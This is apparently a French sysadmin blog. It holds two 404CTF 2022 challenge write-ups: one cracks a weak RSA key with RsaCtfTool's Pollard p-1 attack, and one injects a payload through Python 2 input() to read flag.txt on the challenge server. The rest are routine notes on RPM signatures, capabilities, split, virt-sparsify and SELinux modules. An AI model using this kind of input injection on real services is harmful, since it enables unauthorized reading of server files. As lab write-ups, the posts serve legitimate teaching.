dimanche 11 septembre 2022

404CTF 2022 - Un RSA incassable?

 Bonjour Agent,

Nous avons appris que Hallebarde utilisait le chiffrement RSA pour communiquer! Nous avons pu intercepter un de leur message ci-dessous, ainsi que la clé publique utilisée. Selon nos experts qui sont passés avant, "Le module est trop gros, on ne peut rien faire". Pouvez-vous voir s'ils ont raté quelque chose?

Module: 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181
Exposant: 65537
Message chiffré: 40110232492214007673187408092050413824057587648366839143339482691859337096033351102276645395275735274322548715598894335826499267358923539936373981416212599523632227239475760261528220077888121552688286380591552417803111794635687206274867498165659330678667435332328065173075710535404048653621228158847748005294255562046654937629633514846123655978199420228460405580305729253303227936760801772396770804796700223239015341586701669475537453700175448572495847377417335800300005252499067811919833639526361733535793115856365357616339193637149185654816751038389408567777725988888990153670326115611236718811592564298263

 

 Utilisation de l'outil RsaCtfTool.py

[serge@alien1 RsaCtfTool]$ ./RsaCtfTool.py -n 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181 -e 65537 --uncipher 40110232492214007673187408092050413824057587648366839143339482691859337096033351102276645395275735274322548715598894335826499267358923539936373981416212599523632227239475760261528220077888121552688286380591552417803111794635687206274867498165659330678667435332328065173075710535404048653621228158847748005294255562046654937629633514846123655978199420228460405580305729253303227936760801772396770804796700223239015341586701669475537453700175448572495847377417335800300005252499067811919833639526361733535793115856365357616339193637149185654816751038389408567777725988888990153670326115611236718811592564298263
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key /tmp/tmp2g84j7ke.
[*] Performing factordb attack on /tmp/tmp2g84j7ke.
[*] Performing fibonacci_gcd attack on /tmp/tmp2g84j7ke.
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 57796.94it/s]
[*] Performing mersenne_primes attack on /tmp/tmp2g84j7ke.
29%|██████████████████████████████████████▊ | 15/51 [00:00<00:00, 351477.99it/s]
[*] Performing nonRSA attack on /tmp/tmp2g84j7ke.
[*] Performing pastctfprimes attack on /tmp/tmp2g84j7ke.
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 113/113 [00:00<00:00, 395623.00it/s]
[*] Performing smallq attack on /tmp/tmp2g84j7ke.
[*] Performing system_primes_gcd attack on /tmp/tmp2g84j7ke.
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 7007/7007 [00:00<00:00, 623808.46it/s]
[*] Performing SQUFOF attack on /tmp/tmp2g84j7ke.
[!] Timeout.
[*] Performing boneh_durfee attack on /tmp/tmp2g84j7ke.
Can't load boneh_durfee because sage binary is not installed
[*] Performing comfact_cn attack on /tmp/tmp2g84j7ke.
[*] Performing cube_root attack on /tmp/tmp2g84j7ke.
[*] Performing ecm2 attack on /tmp/tmp2g84j7ke.
Can't load ecm2 because sage binary is not installed
[*] Performing fermat attack on /tmp/tmp2g84j7ke.
[!] Timeout.
[*] Performing fermat_numbers_gcd attack on /tmp/tmp2g84j7ke.
0%|▍ | 32/9999 [00:40<4:27:55, 1.61s/it][!] Timeout.
0%|▍ | 32/9999 [01:00<5:11:35, 1.88s/it]
[*] Performing mersenne_pm1_gcd attack on /tmp/tmp2g84j7ke.
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2019/2019 [00:00<00:00, 52186.48it/s]
[*] Performing noveltyprimes attack on /tmp/tmp2g84j7ke.
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 21/21 [00:00<00:00, 350917.86it/s]
[*] Performing nsif attack on /tmp/tmp2g84j7ke.
[!] This attack module is not implemented yet
[*] Performing partial_q attack on /tmp/tmp2g84j7ke.
[*] Performing pisano_period attack on /tmp/tmp2g84j7ke.
[*] Performing pollard_p_1 attack on /tmp/tmp2g84j7ke.
0%| | 0/997 [00:00<?, ?it/s]
[*] Attack success with pollard_p_1 method !

Results for /tmp/tmp2g84j7ke:

Unciphered data :
HEX : 0x3430344354467b4634317433355f347474337431306e355f347633635f6c335f5235347d
INT (big endian) : 101384582033510951325010359008727680625145975108923307577800692180149739885949739152509
INT (little endian) : 243229796752028152224492264058909156536767078577809619383880856732613058918122043748404
utf-8 : 404CTF{F41t35_4tt3t10n5_4v3c_l3_R54}
utf-16 : 〴䌴䙔䙻ㄴ㍴張琴㍴ㅴ渰張瘴挳江弳㕒紴
STR : b'404CTF{F41t35_4tt3t10n5_4v3c_l3_R54}'
HEX : 0x1cef080c6aca11d510087d1904fa22f1d6b7e3a086626c067528d334657a8cde931afbebfe5e3a21816ee11872c5e26acb71b386604b1f7a42a387feebfc68448400f5a4240549dd7edf25ba2a77be137a3c5820e7e5c325213f7579b30c1a33bdccfd6936d30d8efa0aee1f16c4b4858f8f84f595d7fa251314efe156093c58f5d9bf0c4e136e92e8bba4680723e82c3f3bc10d722712d7ea8e74190f450eb272001b8921de10ebe4a07b8df3049be0f04d97e52bff11567ec5cf64e6c5f0b5b3aafdea9c33ca953da7e374f26d7f8b3cd4c58958e57a9f7d04583fb92a413a9858ee87cda06b6ae24c036095a4ddb0710c8d43672e7d475b8ab9cdd9
INT (big endian) : 217708548006851910315849173150271994279268584039079885155677818183091180895027383167525141949810589791105382222188577285217800357381609641168102408646043195655661274523284501713912520031841918535103804203888991787142416833841126461420016516353510194623228445682561220811787894718450341182944542560644468178628848076823028583243716286170054098608005410814722462513343159833060599560358689129610947325973893299015671729510879907449959904240894766297590151689371717383099568448591301771693276988455241760519569366403467235686286748652586551455279736971736485245890485885906528956377083873566739439773708526931417
INT (little endian) : 1638839175785204961693797130192832298317369592046399642512364704134266676970402456076476753764102990954059936231350278809554813452233699243618134282251372399286739006447548923044124872367918480339544944057249641983349672837280389764444545034465682414562452529369132601842521566435688559214511671763323602627228346394427882629177118483725687896182582936944911352469682493991294290374327417718387578208651978740134219704629741498792732894561004290384856717870407129518841987428710932065547801836061795771332876206597220813647886423546825261266060521028462765408357232751645605180294088221096624432161796792053532
STR : b'\x1c\xef\x08\x0cj\xca\x11\xd5\x10\x08}\x19\x04\xfa"\xf1\xd6\xb7\xe3\xa0\x86bl\x06u(\xd34ez\x8c\xde\x93\x1a\xfb\xeb\xfe^:!\x81n\xe1\x18r\xc5\xe2j\xcbq\xb3\x86`K\x1fzB\xa3\x87\xfe\xeb\xfchD\x84\x00\xf5\xa4$\x05I\xdd~\xdf%\xba*w\xbe\x13z<X \xe7\xe5\xc3%!?uy\xb3\x0c\x1a3\xbd\xcc\xfdi6\xd3\r\x8e\xfa\n\xee\x1f\x16\xc4\xb4\x85\x8f\x8f\x84\xf5\x95\xd7\xfa%\x13\x14\xef\xe1V\t<X\xf5\xd9\xbf\x0cN\x13n\x92\xe8\xbb\xa4h\x07#\xe8,?;\xc1\rr\'\x12\xd7\xea\x8et\x19\x0fE\x0e\xb2r\x00\x1b\x89!\xde\x10\xeb\xe4\xa0{\x8d\xf3\x04\x9b\xe0\xf0M\x97\xe5+\xff\x11V~\xc5\xcfd\xe6\xc5\xf0\xb5\xb3\xaa\xfd\xea\x9c3\xca\x95=\xa7\xe3t\xf2m\x7f\x8b<\xd4\xc5\x89X\xe5z\x9f}\x04X?\xb9*A:\x98X\xee\x87\xcd\xa0kj\xe2L\x03`\x95\xa4\xdd\xb0q\x0c\x8dCg.}G[\x8a\xb9\xcd\xd9'

 flag: 404CTF{F41t35_4tt3t10n5_4v3c_l3_R54}

404CTF 2022 - python input injection

Python injection

Hallebarde a mis en place sa variante du Pierre-papier-ciseaux. À ce jour, personne de nos services n'est parvenu à vaincre l'ordinateur. Montrez-leur de quoi vous êtes capable en récupérant leur précieux flag.txt !

#!/usr/bin/python2.7 -u
# -*- coding: utf-8 -*-

choix = {1 : "pierre", 2 : "papier", 3 : "Hallebarde"}

def bonjour():
print("Bienvenue sur pierre-papier-Hallebarde !")
print("La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier")
print("Pour jouer entrez un chiffre entre 1 et 3 : ")
print("1 : pierre")
print("2 : papier")
print("3 : Hallebarde")

def jouer():
choix_utilisateur = int(input("Choix ?\n> "))

if choix_utilisateur == 1:
choix_ordi = 2
elif choix_utilisateur == 2:
choix_ordi = 3
elif choix_utilisateur == 3:
choix_ordi = 1
else:
print("Choix invalide. Vous avez perdu")
exit(1)

print("Vous avez choisi : " + choix[choix_utilisateur] + ". L'ordinateur a choisi : " + choix[choix_ordi] +".")
if decision(choix_utilisateur, choix_ordi) == 1:
print("Vous avez gagné !!! Incroyable !")
f = open("flag.txt", "r")
print(f.readline())
f.close()
else :
print("Vous avez perdu...")

def decision(joueur1, joueur2):

if joueur1 == joueur2:
return 2
if joueur1 == 1 and joueur2 == 2:
return 2
if joueur1 == 1 and joueur2 == 3:
return 1
if joueur1 == 2 and joueur2 == 1:
return 1
if joueur1 == 2 and joueur2 == 3:
return 2
if joueur1 == 3 and joueur2 == 1:
return 2
if joueur1 == 3 and joueur2 == 2:
return 1
return 2

def main():
bonjour()
while True:
jouer()


if __name__ == "__main__":
main()

L'injection:

nc challenge.404ctf.fr 30806
Bienvenue sur pierre-papier-Hallebarde !
La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier
Pour jouer entrez un chiffre entre 1 et 3 : 
1 : pierre
2 : papier
3 : Hallebarde
Choix ?
> decision(choix.update({1:open("flag.txt", "r").readline()}),3)
Vous avez choisi : papier. L'ordinateur a choisi : Hallebarde.
Vous avez perdu...
Choix ?
> 1
Vous avez choisi : 404CTF{cH0iX_nUm3r0_4_v1c701r3}
. L'ordinateur a choisi : papier.
Vous avez perdu...
Choix ?

Flag: 404CTF{cH0iX_nUm3r0_4_v1c701r3}

mardi 12 octobre 2021

Signature des RPM

 Interroger un rpm installé:

[root@alien1 ~]# rpm -qi whois-5.1.1-2.el7.x86_64
Name : whois
Version : 5.1.1
Release : 2.el7
Architecture: x86_64
Install Date: mer. 11 mars 2020 10:12:45 CET
Group : Applications/Internet
Size : 227186
License : GPLv2+
Signature : RSA/SHA256, ven. 04 juil. 2014 07:43:09 CEST, Key ID 24c6a8a7f4a80eb5
Source RPM : whois-5.1.1-2.el7.src.rpm
Build Date : mar. 10 juin 2014 00:42:13 CEST
Build Host : worker1.bsys.centos.org
Relocations : (not relocatable)
Packager : CentOS BuildSystem <http://bugs.centos.org>
Vendor : CentOS
URL : http://www.linux.it/~md/software/
Summary : Improved WHOIS client
Description :
Searches for an object in a RFC 3912 database.

This version of the WHOIS client tries to guess the right server to ask for
the specified object. If no guess can be made it will connect to
whois.networksolutions.com for NIC handles or whois.arin.net for IPv4
addresses and network names.

Liste des clés publiques:

[root@alien1 ~]# rpm -q gpg-pubkey --qf '%{name}-%{version}-%{release} --> %{summary}\n'
gpg-pubkey-f4a80eb5-53a7ff4b --> gpg(CentOS-7 Key (CentOS 7 Official Signing Key) <security@centos.org>)
gpg-pubkey-baadae52-49beffa4 --> gpg(elrepo.org (RPM Signing Key for elrepo.org) <secure@elrepo.org>)
gpg-pubkey-352c64e5-52ae6884 --> gpg(Fedora EPEL (7) <epel@fedoraproject.org>)
gpg-pubkey-7fa2af80-576db785 --> gpg(cudatools <cudatools@nvidia.com>)
gpg-pubkey-85c6cd8a-4e060c35 --> gpg(Nux.Ro (rpm builder) <rpm@li.nux.ro>)
gpg-pubkey-621e9f35-58adea78 --> gpg(Docker Release (CE rpm) <docker@docker.com>)
gpg-pubkey-5c964ca1-5b6464f6 --> gpg(NordVPN <admin@nordvpn.com>)
gpg-pubkey-b6792c39-53c4fbdd --> gpg(CentOS-7 Debug (CentOS-7 Debuginfo RPMS) <security@centos.org>)
gpg-pubkey-d3d831ef-53dfa827 --> gpg(Xamarin Public Jenkins (auto-signing) <releng@xamarin.com>)
gpg-pubkey-222d23d0-5910b0f0 --> gpg(Sublime HQ Pty Ltd <support@sublimetext.com>)

Vérifier la signature d'un rpm téléchargé:

[root@alien1 ~]# rpm -Kv whois-5.2.18-1.el7.x86_64.rpm 
whois-5.2.18-1.el7.x86_64.rpm:
Entête V4 DSA/SHA1 Signature, clé ID 2a6b914a: NOKEY
Hachage de l'entête SHA1 : OK (8263f6f00b49ee2d1b84311ba7ab4eb5b5b5df7a)
MD5 : OK (2639d598cc7fe94aaac35604d117adef)
V4 DSA/SHA1 Signature, clé ID 2a6b914a: NOKEY

Cas d'un rpm corrompu:

[root@alien1 ~]# rpm -Kv whois-5.2.18-1.el7.x86_64_KO.rpm 
erreur : whois-5.2.18-1.el7.x86_64_KO.rpm : échec de headerRead region trailer : ERRONÉ, tag 2048 type 16128 offset -2047 décompte -249856


Signature d'un RPM:

Diagram depicting the header and payload of the RPM is signed and that the signature is also stored in the RPM.

Contrôle de la signature d'un RPM:


Diagram showing the process for verifying the header and payload of an RPM.

https://access.redhat.com/blogs/766093/posts/3373211


jeudi 22 juillet 2021

Restaurer les capabilities suite restauration d'un backup sans xattrs

Si une sauvegarde est réalisée sans l'argument xattrs, alors on perd les capabilities lors d'une restauration. Bien sur, c'est dans le cas où la sauvegarde comporte des fichiers avec des capabilités.

Il est possible de restaurer les capabilités par défaut en faisant un requête sur les RPM.

Faire une requête pour lister les capabilités:

[serge@alien1 ~]$ rpm --qf "[%{FILECAPS} %{FILENAMES}\n]" -qa | grep '^='
= cap_setgid+ep /usr/bin/newgidmap
= cap_setuid+ep /usr/bin/newuidmap
= cap_net_admin,cap_net_raw+p /usr/bin/ping
= cap_net_raw+p /usr/sbin/arping
= cap_net_raw+p /usr/sbin/clockdiff
= cap_net_raw+ep /usr/sbin/mtr
= cap_ipc_lock+ep /usr/bin/gnome-keyring-daemon
= cap_net_admin,cap_net_raw+ep /usr/sbin/dumpcap
= cap_setgid,cap_setuid+ep /usr/sbin/suexec

Appliquer les capabilities:

Exemple pour arping:

[root@alien1 ~]# setcap cap_net_raw+p /usr/sbin/arping

jeudi 17 septembre 2020

Linux - split d'un fichier pour transfert sur FAT32

Utilisation de la commande Linux split:

$ split -b 4294967295 fichier.tar split_fichier
[serge@alien1
~]$ ll
-rw-r--r--. 1 serge serge 4358761620 16 sept. 16:30 fichier.tar
-rw-r--r--. 1 serge serge 4294967295 17 sept. 10:15 split_fichieraa
-rw-r--r--. 1 serge serge 63794325 17 sept. 10:15 split_fichierab

Restaurer:

[serge@alien1 ~]$ cat split_fichiera* > fichier.tar


La valeur 429496729 correspond à la taille max d'un fichier avec le système de fichier FAT32.

La valeur est obtenue de cette facon:

[serge@alien1 ~]$ echo "4*(2^30)-1" | bc
4294967295

mercredi 2 septembre 2020

Optimiser la taille d'une VM QEMU au format QCOW2

Dans mon cas, il s'agit d'une machine guest sous WINDOWS avec le système de fichiers en NTFS.

 

Pré-requis:

yum install ntfs-3g

yum install ntfsprogs

yum install libguestfs-tools 

yum install libguestfs-winsupport

 

export LIBGUESTFS_BACKEND=direct

virt-sparsify -v  os_original.qcow2 os_sparsi.qcow2

 

 

jeudi 13 août 2020

Compiler un fichier de règles SELinux ( fichier .te )

 Après avoir créé votre fichier te, il faut le compiler pour pouvoir l'installer sur votre système:

# checkmodule -M -m -o local.mod local.te 
checkmodule: loading policy configuration from local.te
checkmodule: policy configuration loaded
checkmodule: writing binary representation (version 19) to local.mod

Si vous avez l'erreur suivante:

' on line 1:e:1:WARNING 'unrecognized character' at token '

C'est que votre fichier comporte un caractère de fin de ligne non reconnu.

Pour convertir au format unix avec vi:

:set ff=unix

 Après quoi, votre fichier policy module est créé.

Reste à le compiler:

# semodule_package -o local.pp -m local.mod

 Charger le module créé avec une priorité à 300.

# semodule -X 300 -i local.pp